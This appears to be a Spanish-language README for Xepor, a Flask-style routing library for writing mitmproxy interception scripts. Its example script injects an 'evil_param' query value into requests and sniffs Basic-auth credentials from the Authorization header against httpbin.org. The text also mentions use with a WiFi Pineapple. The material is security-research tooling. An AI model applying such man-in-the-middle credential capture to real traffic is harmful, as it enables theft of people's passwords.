Xepor (pronunciado /ˈzɛfə/ , zephyr) es un marco de enrutamiento web para ingenieros inversos e investigadores de seguridad. Proporciona una API similar a Flask para que los piratas informáticos intercepten y modifiquen solicitudes HTTP y/o respuestas HTTP en un estilo de codificación amigable para los humanos.
Este proyecto está destinado a usarse con mitmproxy. Los usuarios escriben scripts con xepor
y ejecutan el script dentro de mitmproxy con mitmproxy -s your-script.py
.
Si desea pasar de PoC a producción, de demostración (por ejemplo, http-reply-from-proxy.py, http-trailers.py, http-stream-modify.py) a algo que pueda sacar con su WiFi Pineapple, entonces ¡Xepor es para ti!
@api.route()
, ¡como Flask! Escribe todo en un solo if..else
y nada más.InterceptedAPI
.mitmproxy
/ mitmweb
+ regular
/ transparent
/ socks5
/ reverse:SPEC
/ upstream:SPEC
) son totalmente compatibles. Este proyecto NO proporciona la eliminación de SSL.
pip install xepor
Tome el script de ejemplos/httpbin como ejemplo.
mitmweb -s example/httpbin/httpbin.py
Configure el proxy HTTP de su navegador en http://127.0.0.1:8080
y acceda a la interfaz web en http://127.0.0.1:8081/.
Envíe una solicitud GET desde http://httpbin.org/#/HTTP_Methods/get_get. Luego podrá ver la modificación realizada por Xepor en la interfaz mitmweb, las herramientas de desarrollo del navegador o Wireshark.
El httpbin.py
hace dos cosas.
payload=evil_param
dentro de la solicitud HTTP.Authorization
de las solicitudes HTTP e imprime la contraseña al atacante.Justo lo que siempre hace mitmproxy, pero con código escrito en forma xepor .
# https://github.com/xepor/xepor-examples/tree/main/httpbin/httpbin.py
from mitmproxy . http import HTTPFlow
from xepor import InterceptedAPI , RouteType
HOST_HTTPBIN = "httpbin.org"
api = InterceptedAPI ( HOST_HTTPBIN )
@ api . route ( "/get" )
def change_your_request ( flow : HTTPFlow ):
"""
Modify URL query param.
Test at:
http://httpbin.org/#/HTTP_Methods/get_get
"""
flow . request . query [ "payload" ] = "evil_param"
@ api . route ( "/basic-auth/{usr}/{pwd}" , rtype = RouteType . RESPONSE )
def capture_auth ( flow : HTTPFlow , usr = None , pwd = None ):
"""
Sniffing password.
Test at:
http://httpbin.org/#/Auth/get_basic_auth__user___passwd_
"""
print (
f"auth @ { usr } + { pwd } :" ,
f"Captured { 'successful' if flow . response . status_code < 300 else 'unsuccessful' } login:" ,
flow . request . headers . get ( "Authorization" , "" ),
)
addons = [ api ]